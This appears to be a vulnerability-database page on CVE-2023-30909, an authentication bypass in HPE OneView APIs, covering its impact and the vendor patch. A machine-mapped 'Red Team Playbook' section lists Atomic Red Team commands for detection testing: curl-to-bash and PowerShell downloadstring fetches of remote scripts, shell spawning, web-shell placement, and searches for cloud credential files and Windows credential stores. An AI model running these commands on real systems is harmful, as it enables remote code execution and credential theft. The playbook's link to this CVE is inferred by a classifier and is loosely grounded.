CVE-2023-30909
Overview
This vulnerability is a remote authentication bypass affecting Hewlett Packard Enterprise (HPE) OneView APIs. The root cause lies in insufficient authentication enforcement on certain API endpoints within the OneView management platform. Specifically, the affected APIs do not properly verify user credentials or session tokens, allowing unauthorized access to privileged functions.
Vulnerability Description
A remote authentication bypass issue exists in some OneView APIs.
Impact
An attacker with network access can exploit this vulnerability to gain unauthorized access to HPE OneView management functions without any authentication (AV:N/AC:L/PR:N/UI:N). This enables full control over the management platform, including viewing and modifying sensitive configuration data, potentially leading to data compromise, unauthorized system changes, and disruption of infrastructure management. The high CVSS score (9.8) reflects the critical nature and ease of exploitation without user interaction or privileges.
Solution
HPE has released security updates addressing this authentication bypass issue in HPE OneView. Administrators should apply the patches as detailed in the HPE advisory hpesbgn04538en_us, accessible at https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04538en_us. The advisory provides specific version updates and instructions for remediation. No alternative workarounds are recommended; prompt patching is required to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified within certain APIs of the OneView management platform, allowing for remote authentication bypass. This flaw arises from improper validation mechanisms in the authentication process, enabling an attacker to gain unauthorized access to sensitive functionalities without proper credentials. The implications of this vulnerability are severe, as it undermines the core security model of the affected product, potentially granting attackers the ability to manipulate configurations, access sensitive data, or disrupt operations.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the use of crafted requests sent to the OneView APIs. An attacker with knowledge of the API endpoints could exploit the flaw by bypassing authentication checks, thereby gaining administrative privileges. Scenarios could include an attacker leveraging this vulnerability to execute commands that alter server configurations or extract sensitive information, such as user credentials or system logs. Given the nature of the APIs, the potential for automated attacks increases, as attackers can develop scripts to systematically probe for and exploit the vulnerability across multiple instances of the affected product.
The real-world impact of this vulnerability is significant, particularly for organizations relying on OneView for infrastructure management. Successful exploitation could lead to unauthorized access to critical systems, resulting in data breaches, operational disruptions, or even complete system compromise. The business risks associated with such incidents are substantial, including financial losses, reputational damage, and regulatory penalties. Organizations may face increased scrutiny from stakeholders and regulatory bodies, particularly if sensitive data is exposed or if the integrity of their infrastructure is compromised.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and vulnerability scanning, can help identify instances of the affected product that may be exposed to potential attacks. Monitoring API access logs for unusual patterns or unauthorized access attempts is crucial in detecting exploitation attempts. Additionally, applying security patches and updates provided by the vendor should be prioritized to remediate the vulnerability. Organizations should also consider implementing additional security measures, such as API gateways or Web Application Firewalls (WAFs), to provide an extra layer of protection against unauthorized access.
In conclusion, the authentication bypass vulnerability in the OneView APIs poses a serious threat to organizations utilizing this management platform. The potential for unauthorized access and the resulting impact on business operations necessitate immediate attention and action. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their risk exposure and safeguard their critical infrastructure against exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Hp | Oneview | All |
cpe:2.3:a:hp:oneview:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
45 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
$extList = #{extension_id}
foreach ($extension in $extList) {
New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force}
Start chrome
Start-Sleep -Seconds 30
Stop-Process -Name "chrome"
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-30909 |
| support.hpe.com |
GitHub CVE
|
https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04538en_us |